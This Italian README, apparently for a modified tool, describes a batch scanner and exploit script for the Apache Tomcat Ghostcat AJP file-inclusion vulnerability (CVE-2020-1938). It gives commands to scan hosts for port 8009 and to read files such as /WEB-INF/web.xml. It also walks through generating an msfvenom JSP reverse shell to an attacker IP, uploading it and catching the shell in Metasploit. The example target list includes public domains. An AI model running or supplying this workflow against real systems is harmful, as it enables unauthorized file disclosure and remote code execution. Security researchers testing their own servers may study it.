
Strumenti di rilevamento per CVE-2020-1938 / CNVD-2020-1048
Lo strumento è destinato esclusivamente alla ricerca di sicurezza e a verifiche interne. È vietato utilizzarlo per attacchi illegali. Le conseguenze sono a carico dell'utente.
Strumento di rilevamento batch per la vulnerabilità di inclusione file in Apache Tomcat (CVE-2020-1938 / CNVD-2020-1048).
Questo progetto è una modifica basata sul progetto di Kit4y.
Quando in ip.txt c'è un solo dominio o IP, threadCount diventa 1 e il programma di fatto non viene eseguito. È stato aggiunto un controllo sul numero di thread.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Inserire i domini/IP da scansionare in ip.txt, ad esempio:
127.0.0.1
www.baidu.com
www.google.com
2. python threading-find-port-8009.py
Scansiona i domini/IP in ip.txt per trovare quelli con la porta 8009 aperta e li salva in 8009.txt generato.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Filtra da 8009.txt gli URL che corrispondono alla vulnerabilità e li inserisce in vul.txt. Alla fine, i domini presenti in vul.txt sono quelli affetti dalla vulnerabilità.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
Per default viene letto ROOT sotto webapps; modificando “/asdf” in “/test/asdf” è possibile accedere al contenuto della directory test sotto webapps.
t.perform_request('/asdf',attributes=[
Se il server presenta anche una vulnerabilità di upload file, caricare il seguente shell.txt:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Modificare “/asdf” in “/asdf.jsp”, avviare MSF e utilizzare lo strumento PoC per ottenere una shell.
https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487